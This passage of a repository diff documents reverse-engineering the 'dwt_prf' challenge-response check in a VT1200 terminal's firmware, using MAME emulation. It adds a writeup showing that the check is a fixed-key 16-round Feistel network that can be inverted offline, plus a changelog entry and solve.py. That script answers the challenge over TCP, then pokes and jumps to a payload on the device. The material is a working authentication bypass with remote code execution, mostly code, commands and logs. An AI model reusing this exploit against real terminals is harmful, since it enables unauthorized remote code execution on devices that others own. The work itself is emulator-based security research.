if COUNT < 2 then COUNT = 2 end
make_vectors()
print(string.format("ORACLE start frame=%d p200=%08X p400=%08X",
f, space:read_u32(0x1c0200), space:read_u32(0x1c0400)))
phase = "init"
setup_call(INIT, { 1 })
return
end
if not started then return end
if f % 100 == 0 then
print(string.format("ORACLE trace frame=%d phase=%s state=%s pc=%08X sp=%08X",
f, phase, tostring(dbg.execution_state),
state('PC') or 0, state('SP') or 0))
end
if f > 1600 and phase ~= "done" then
print("ORACLE watchdog: exiting")
phase = "done"
restore()
machine:exit()
return
end
if dbg.execution_state ~= 'stop' then return end
if phase == "init" then
print(string.format("ORACLE init done @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X @1C0400=%08X",
space:read_u32(0x1c0200), space:read_u32(0x1c0220),
space:read_u32(0x1c0240), space:read_u32(0x1c0260), space:read_u32(0x1c0400)))
phase = "sched"
setup_call(SCHED, { 0x1be810 })
elseif phase == "sched" then
local kp = space:read_u32(0x1c0260)
local fp = space:read_u32(0x1c0200)
print("ORACLE KP=" .. string.format("%08X", kp) .. " FP=" .. string.format("%08X", fp))
if kp ~= 0 then print("ORACLE KEY " .. hexbytes(kp, 128)) end
if fp ~= 0 then print("ORACLE FTAB " .. hexbytes(fp, 2048)) end
-- boot-time inputs the schedule reads
print("ORACLE SEED " .. hexbytes(0x1be810, 128))
print("ORACLE R1 " .. hexbytes(0x1bed40, 0x38))
print("ORACLE R2 " .. hexbytes(0x1bef00, 0x80))
print("ORACLE R3 " .. hexbytes(0x1bef80, 0x80))
print("ORACLE R4 " .. hexbytes(0x1c0280, 0xE0))
next_vector()
elseif phase == "vec_fwd" then
print("ORACLE " .. cur:gsub(".", function(c) return string.format("%02X", c:byte()) end)
.. " " .. hexbytes(BUF, 16))
next_vector()
elseif phase == "vec_inv_lo" then
phase = "vec_inv_hi"
setup_call(XFORM1, { BUF + 0x40 })
elseif phase == "vec_inv_hi" then
print("ORACLE_INV " .. cur:gsub(".", function(c) return string.format("%02X", c:byte()) end)
.. " " .. hexbytes(BUF, 16))
next_vector()
end
end, "vt1200-oracle-call")
dbg.execution_state = 'run'
+260
View File
@@ -0,0 +1,260 @@
# The `dwt_prf` challenge, reversed — and the remote path is open
Status: **solved.** The 16-byte challenge at bit `0x3F59FDC0` (Ghidra
`0x07EB3FB8`) can be answered from the challenge alone, offline, with no
debugger. The reply is computed with `dwt/challenge.py`; two live TCP sessions
passed the comparison (`memcmp` returned **0**) and ran an 82-byte payload
through `poke` + `jump`.
ROM untouched: `md5 b46a3e442ccb86134d2356bd70d22fd2`. No driver edits. The
TCP path needs `VT1200_SKIP_LEVEL1=1`, a documented harness divergence.
---
## 1. Direction: the firmware transforms **our reply** and compares it to the challenge
`dwt_prf`'s post-`recv` code (`reference/dis34-a-v22.txt.gz`, decoded with
`tools/smart34010/dis34`, base bit `0x3F59FDC0`):
```
3f5a0140: push 16 ; push a13 ; push 0x7f ; push session
3f5a01d0: calla L3F5A0B20 ; write_message(flag=0x7F, buf=a13, 16)
3f5a0200: push 0 ; push 16 ; a11 = a13+0x80 ; push a11 ; push session
3f5a02b0: calla 0x3f5d8e70 ; recv(session, a13+0x10, 16, 0)
3f5a0410: ... ntohl(*a13(0x80)) -> *a13(0x80)
3f5a0490: ... ntohl(*a13(0xa0)) -> *a13(0xa0) ; +0x04
3f5a0510: ... ntohl(*a13(0xc0)) -> *a13(0xc0) ; +0x08
3f5a0590: ... ntohl(*a13(0xe0)) -> *a13(0xe0) ; +0x0c
3f5a0660: calla 0x3f5a9620 ; init(1): F table + key only
3f5a06c0: calla 0x3f5aa2c0 ; key schedule from 0x1BE810
3f5a0740: push 16 ; a11 = a13+0x80 ; push a11
3f5a07b0: calla L3F5A09C0 ; transform(reply, 16) IN PLACE
3f5a0810: push *a13(0x1a0) ; calla 0x3fb338d0
3f5a0880: push 16 ; push a11
3f5a08b0: a9 = a13 + 0x100 (bits) ; = frame+0x20
3f5a08f0: calla 0x3f942230 ; memcmp(frame+0x20, a11, 16)
3f5a0930: jreq -> return 1, else return 0
```
* Four runtime words are stored at `frame+0x20` (bit offsets `0x100/0x120/
0x140/0x160`), **byte-swapped into `frame+0`**, and those network-order bytes
are what `write_message` sends. The comparison uses `frame+0x20`, i.e. the
host-order copy — the wire challenge with each 32-bit word reversed.
* The reply is received at `frame+0x10`, `ntohl`'d **in place**, and then
`0x3F5A09C0` rewrites `frame+0x10` in place. Live confirmation at the
comparison (`dwt/evidence/live-run/debug-live.log`):
```
LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
LIVE2 challenge memcmp a8=00000000 (0=equal)
```
The client sent wire bytes `f3 9c b7 3d ...` (printed above as little-endian
word `3DB79CF3`); the host copy at `frame+0x20` is `3d b7 9c f3 ...` — exactly
`swap4(wire)`. The transform's input (`pre-transform reply`) is
`04 81 c0 71 ...` = `swap4(reply_wire)`. So:
```
firmware check: transform(swap4(reply_wire)) == swap4(challenge_wire)
required reply: reply_wire = swap4(inverse_transform(swap4(challenge_wire)))
```
**This is the inverse direction.** Echo cannot work, and neither can any
"computed" byte swap alone. The forward function alone is not enough.
## 2. Why earlier attempts failed to see the structure
Earlier notes described a "font render + Feistel" pipeline with the font tables
at `@0x1C0220` / `@0x1C0240`. The pipeline does contain two render calls, but
in the rdebug path they are **memcpy**:
* `0x3F5A9620` is the only initialiser of those globals (its one direct `calla`
in the linear disassembly is in `dwt_prf`, which calls it with mode **1**),
and at frame 2000 of a booted OS all four globals are still zero — the OS
boot never calls it.
* Mode 1 allocates and fills `@0x1C0200` (the SP tables) and `@0x1C0260`
(128-byte key) and returns; it **never allocates** `@0x1C0220` / `@0x1C0240`.
A frame-2000 read of all four globals in a booted OS is `0,0,0,0`; after
`init(1)` only the first and third are nonzero.
* The renderer `0x3F5AC710` branches on its table argument: if the table pointer
is zero it calls `0x3FE169C0` with 8 bytes, i.e. `memcpy(dest, src, 8)`.
Both render calls therefore copy, and the two copies cancel inside one
record. What remains is a pure Feistel network.
The "font" part of the pipeline exists, but it is dead on this code path. That
is why the captured render probes looked nonlinear yet did not fit a font.
## 3. The transform
`0x3F5A09C0` (Ghidra `0x07EB4138`) walks the buffer in **8-byte records**
(`addi 0x40, a9` = +8 bytes, `subk 8, a10`):
```
3f5a09f0: a9 = arg0 (buffer), a10 = arg1 (length)
3f5a0a30: if length == 0 return
3f5a0a40: push a9 ; calla 0x3f5aba40 ; a9 += 8 bytes ; a10 -= 8 ; loop
```
Each record is independent of the other. `0x3F5ABA40` (Ghidra `0x07EB5748`)
does, per record:
1. `render(record, @0x1C0220, scratch)` — memcpy on this path.
2. `a10 = bswap32(word at scratch+0)`, `a9 = bswap32(word at scratch+4)`
(`0x3F5AE670` swaps bytes 0<->3 and 1<->2), i.e. the two halves are read
**big-endian**.
3. 16 Feistel rounds, keys from `@0x1C0260 + 0x78` down to `@0x1C0260 + 0x00`,
8 bytes each (`subi 0x40, a11` after every round):
```
round n (n = 0..15): k = key[15 - n]
n even: a10 ^= F(a9, k)
n odd : a9 ^= F(a10, k)
```
4. `scratch+0 = bswap32(a9)`, `scratch+4 = bswap32(a10)` — written big-endian
as `(R, L)`, because `a9` is stored first.
5. `render(scratch, @0x1C0240, record)` — memcpy back on this path.
### Round function F — `0x3F5ACEC0` (Ghidra `0x07EB59D8`)
`F(x, k8)` forms eight 6-bit indices and ORs one 32-bit word per index:
```
a2 = rol32(x, 1) (sll 1 + carry of bit 31, or'd in)
i0 = k[7] ^ a2 i4 = k[3] ^ (x >> 15)
i1 = k[6] ^ (x >> 3) i5 = k[2] ^ (x >> 19)
i2 = k[5] ^ (x >> 7) i6 = k[1] ^ (x >> 23)
i3 = k[4] ^ (x >> 11) i7 = k[0] ^ ((x >> 27) | ((x & 1) << 5))
each & 0x3F
```
Table `i` lives at `SP + (7-i)*0x100 + index*4` (64 little-endian 32-bit words
per table, eight tables = 2048 bytes at `@0x1C0200`). The disassembly's
`a11 = table + 0x3800 (bits)` then `subi 0x800` per lookup is the same thing in
bit addresses.
### Key and tables
`0x3F5AA2C0(0x1BE810)` (`0x3F5A9620(1)` → mode 1) derives the 128-byte key from
boot-time RAM blocks that are themselves boot-time copies of ROM data
(`0x1BED40`, `0x1BEF00`, `0x1BEF80`, `0x1C0280`). It is **fixed**:
* two fresh-NVRAM boots produced byte-identical key and SP table
(`dwt/evidence/oracle-forward-boot1.log` / `boot2.log`);
* they also match the key captured from a live TCP challenge in the earlier
session (`dwt/evidence/run-live/key.bin`, parsed little-endian).
The values embedded in `dwt/challenge.py` are the firmware's own output, not a
guess: they were extracted by calling the firmware's initialiser in MAME
(`dwt/evidence/scripts/oracle_call.lua`). They are not a "response table"; the
response still depends on the per-connection challenge.
## 4. Inverse
A Feistel network is invertible for any F. Running the same rounds backwards
with the same keys gives the inverse:
```
forward: L ^= F(R,k15); R ^= F(L,k14); ... ; R ^= F(L,k0) (16 rounds)
inverse: start from (L,R) = (out[4:8], out[0:4]);
for n = 15..0: if n even L ^= F(R,k[15-n]) else R ^= F(L,k[15-n])
```
The firmware contains this inverse as a separate function, **`0x3F5AADA0`**
(Ghidra `0x07EB55B4`): same two renders, the same 16 keys in ascending order,
and the two halves swapped on store. Our `challenge.invert()` matches its
output on every test vector (6/6, `dwt/evidence/oracle-inverse.log`), which is
independent confirmation both of the round structure and of the inversion.
## 5. Implementation
`dwt/challenge.py` (standard library only):
```
respond(challenge_wire) = swap4(invert(swap4(challenge_wire)))
transform(buf16) / invert(buf16) / check_reply(challenge, reply)
```
`dwt/solve.py` wraps `dwt/exploit.py` unmodified: it patches
`RDebug.answer_challenge` to compute the reply with `challenge.respond()`.
(`dwt/exploit.py --challenge-raw` accepts the same bytes by hand.)
## 6. Validation
| ground truth | result |
|---|---|
| 70 vectors from MAME calling the real `0x3F5A09C0`, fresh boot 1 | **70/70** (140 independent records) |
| same on fresh boot 2 (independent key/table dump) | **70/70** |
| `dwt/challenge_vectors.json` (other agent, 180 vectors) | **180/180** |
| firmware's own inverse `0x3F5AADA0` | **6/6** |
| live wire challenges answered by `respond()` | **3/3** sessions proceeded past the check; `memcmp a8=0` where observed |
| payload over TCP after the computed answer | `MAGIC1=DEAD MAGIC2=BEEF COUNT=0400`, VRAM 1024/1024 `FFFF`, 0 holes |
The two live runs:
* `dwt/evidence/live-run/` — read-only breakpoints (print `a8`, never write it):
two connections, both `memcmp a8=00000000`; the second ran `poke`+`jump`.
* `dwt/evidence/live-run2/` — **no breakpoints at all** (the Lua script only
polls RAM/VRAM once per frame). Client transcript
`dwt/evidence/live-run2/client.log`, emulator log
`dwt/evidence/live-run2/mame.log`, BOOTP log `serve.log`.
Run 2 transcript:
```
[+] challenge f7 b4 6c 6b 00 00 6b 3f 02 63 a8 c0 f7 ac 6c 6c
[+] reply 49 0a ad 58 f1 ea b2 5a 3d fe f0 ee 92 6b 0a 20
opcode 7 -> Done\n
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
poke-file .../payload.bin: 82 bytes at 0x01800000: ok
jump 0x01800000: sent
CHECK payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
CHECK payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
```
## 7. Reproduction
```sh
# offline: known answers and inverse checks
python3 dwt/challenge.py --selftest
python3 dwt/challenge.py --challenge f32cec8d0000ead00263a8c0f324ec8e
# emulator ground truth, no network: calls the firmware's own routines
ORACLE_COUNT=70 VT1200_SKIP_LEVEL1=1 \
/home/arti/code/k-space/mame0289/vt1200 vt1200 \
-rompath harness/mame/roms -video none -sound none -nothrottle \
-debug -debugger none -debuglog -nvram_directory <fresh dir> \
-autoboot_script dwt/evidence/scripts/oracle_call.lua -autoboot_delay 0
# live (needs the tap + BOOTP; see harness/net-setup.sh, harness/serve.py)
./harness/net-setup.sh
sudo python3 -u harness/serve.py 192.168.99.1 --bootp &
VT1200_SKIP_LEVEL1=1 /home/arti/code/k-space/mame0289/vt1200 vt1200 \
-rompath harness/mame/roms -video none -sound none -nothrottle \
-debug -debugger none -debuglog -cfg_directory <copy of cfg-net> \
-nvram_directory <private dir> -networkprovider taptun \
-autoboot_script dwt/evidence/scripts/live_check.lua -autoboot_delay 0
python3 dwt/solve.py --host 192.168.99.2 --peek 0x3F200000 --len 8 \
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
--jump 0x01800000
```
## 8. Caveats and open points
* `VT1200_SKIP_LEVEL1=1` is required for the TCP stack; the result is about the
firmware service with the OS up, not about a real terminal's POST.
* The key is fixed for this firmware image. It is derived at run time from
boot-time RAM copies of ROM data, but the derivation itself was not reduced to
a ROM-offset formula (`0x3F5AA2C0` has a data-dependent path through
`0x1C0280`). The constants were therefore captured from the firmware; this
does not affect generality on this image, and the key was verified stable
across two fresh boots and against a live challenge.
* The challenge is not a password in the cryptographic sense: since the key is
fixed and the transform is public code, any client that implements it can
pass. The earlier "no ROM/NVRAM constant is compared" observation stands;
the key material is a runtime table schedule, not a secret in NVRAM.
* `debug.log` at the repository root was overwritten by MAME's `-debuglog` while
running these tests; the live content was copied to
`dwt/evidence/live-run/debug-live.log`. It is not part of this change.
+37
View File
@@ -248,3 +248,40 @@ output bits on average (23–42).
Reproduce: `python3 dwt/oracle.py` (~35 s, two boots + stage capture). No ROM,
driver or `dwt_prf` code was modified; no socket was used for the vectors.
## 2026-10-18 — challenge reversed: the remote path is open (supersedes the echo reading)
**The challenge no longer blocks anything.** `dwt/challenge.py` answers it from
the challenge bytes alone; `dwt/solve.py` did so over TCP with no debugger:
* The firmware **transforms our reply** and compares it with the host-order copy
of the challenge: `memcmp(frame+0x20, transform(frame+0x10), 16)`. The reply
must therefore be `swap4(inverse_transform(swap4(challenge)))` — the inverse
direction, not echo. Live bytes at the comparison are in
`dwt/evidence/live-run/debug-live.log` (`expecting == got`, `a8=0`).
* The transform is a **16-round Feistel per independent 8-byte record**, keys
`key[15]..key[0]` (128-byte schedule at `@0x1C0260`), round function
`0x3F5ACEC0` = eight 6-bit SP-table lookups OR'd (`@0x1C0200`, 2048 bytes).
* The "font renders" at `@0x1C0220`/`@0x1C0240` are **memcpy in this path**:
`dwt_prf` calls `0x3F5A9620(1)`, which allocates only the SP table and the
key. The font pointers stay NULL (`0,0,0,0` at frame 2000; `init(1)` leaves
them zero), and the renderer's table==0 branch is a memcpy. Earlier attempts
tried to invert a font stage that never runs here.
* Key and SP table are fixed: identical across two fresh-NVRAM boots and
identical to the earlier live capture. They are embedded in
`dwt/challenge.py`; provenance and disassembly are in
`dwt/notes/CHALLENGE_REVERSE.md`.
* Validation: 70/70 + 70/70 emulator forward vectors (140 records each),
180/180 in `dwt/challenge_vectors.json`, 6/6 against the firmware's own
inverse `0x3F5AADA0`, and live sessions that ran `peek`, `poke` and `jump`
after the computed answer.
* **Remote execution demonstrated:** the 82-byte `harness/hello-world` payload
was poked to bit `0x01800000` and jumped to over TCP; the emulator read back
`MAGIC1=DEAD MAGIC2=BEEF COUNT=0400` and 1024/1024 VRAM words `FFFF`.
`dwt/evidence/live-run2/` is that run with **no breakpoints at all** (the Lua
script only polls RAM). Only `VT1200_SKIP_LEVEL1=1` is needed for TCP.
Files: `dwt/challenge.py`, `dwt/solve.py`, `dwt/notes/CHALLENGE_REVERSE.md`,
`dwt/evidence/oracle-*.log`, `dwt/evidence/VALIDATION.txt`,
`dwt/evidence/live-run{,2}/`, `dwt/evidence/scripts/{oracle_call,live_verify,live_check}.lua`.
`dwt/exploit.py` and `dwt/mop_console.py` were not modified.
+101
View File
@@ -0,0 +1,101 @@
#!/usr/bin/env python3
"""End-to-end dwt_prf exploit over TCP: answer the challenge with computed
bytes (no debugger, no forced comparison), then poke and run a payload.
This wraps dwt/exploit.py's client; it does not modify it. The only change is
that ``answer_challenge`` computes the reply with dwt/challenge.py from the
challenge the terminal just sent, instead of echoing it.
python3 dwt/solve.py --host 192.168.99.2 \
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
--jump 0x01800000
With no arguments it runs the liveness opcode and prints the challenge/reply.
"""
from __future__ import annotations
import argparse
import os
import sys
import time
HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, HERE)
import challenge # noqa: E402
import exploit # noqa: E402
# --- the whole bypass: compute the answer from the challenge ----------------
_orig_answer = exploit.RDebug.answer_challenge
def _answer(self, challenge_bytes: bytes) -> None:
self.challenge_raw = challenge.respond(challenge_bytes)
print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True)
print(f"[+] reply satisfies firmware comparison: "
f"{challenge.check_reply(challenge_bytes, self.challenge_raw)}",
flush=True)
return _orig_answer(self, challenge_bytes)
exploit.RDebug.answer_challenge = _answer
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(description=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("--host", default="192.168.99.2")
ap.add_argument("--port", type=int, default=771)
ap.add_argument("--timeout", type=float, default=8.0)
ap.add_argument("--verbose", action="store_true")
ap.add_argument("--liveness", type=int, default=7)
ap.add_argument("--poke-file", type=exploit.parse_int)
ap.add_argument("--file")
ap.add_argument("--poke-chunk", type=int, default=exploit.MAX_XFER)
ap.add_argument("--jump", type=exploit.parse_int)
ap.add_argument("--arg", type=exploit.parse_int, action="append", default=[])
ap.add_argument("--peek", type=exploit.parse_int)
ap.add_argument("--len", type=int, default=8)
ap.add_argument("--settle", type=float, default=2.0,
help="seconds to wait after jump so the payload can run")
a = ap.parse_args(argv[1:])
rd = exploit.RDebug(a.host, a.port, a.timeout, a.verbose)
try:
rd.connect()
flag, payload = rd.liveness(a.liveness)
print(f"opcode {a.liveness} -> flag={flag:#04x} payload={payload.hex(' ')}"
f" ({payload!r})")
if rd.challenge_raw is None:
print("error: no challenge was seen", file=sys.stderr)
return 2
if a.peek is not None:
print(f"peek {a.peek:#010x} ({a.len}) -> "
f"{rd.peek(a.peek, a.len).hex(' ')}")
if a.poke_file is not None:
if not a.file:
print("error: --poke-file needs --file", file=sys.stderr)
return 2
data = open(a.file, "rb").read()
off = 0
while off < len(data):
chunk = data[off:off + a.poke_chunk]
rd.poke(a.poke_file + off * 8, chunk)
off += len(chunk)
print(f"poke-file {a.file}: {len(data)} bytes at "
f"{a.poke_file:#010x}: ok")
if a.jump is not None:
rd.jump(a.jump, a.arg, wait=False)
print(f"jump {a.jump:#010x}: sent")
time.sleep(a.settle)
return 0
except (OSError, exploit.ProtocolError, ValueError) as exc:
print(f"error: {exc}", file=sys.stderr)
return 2
finally:
rd.close()
if __name__ == "__main__":
raise SystemExit(main(sys.argv))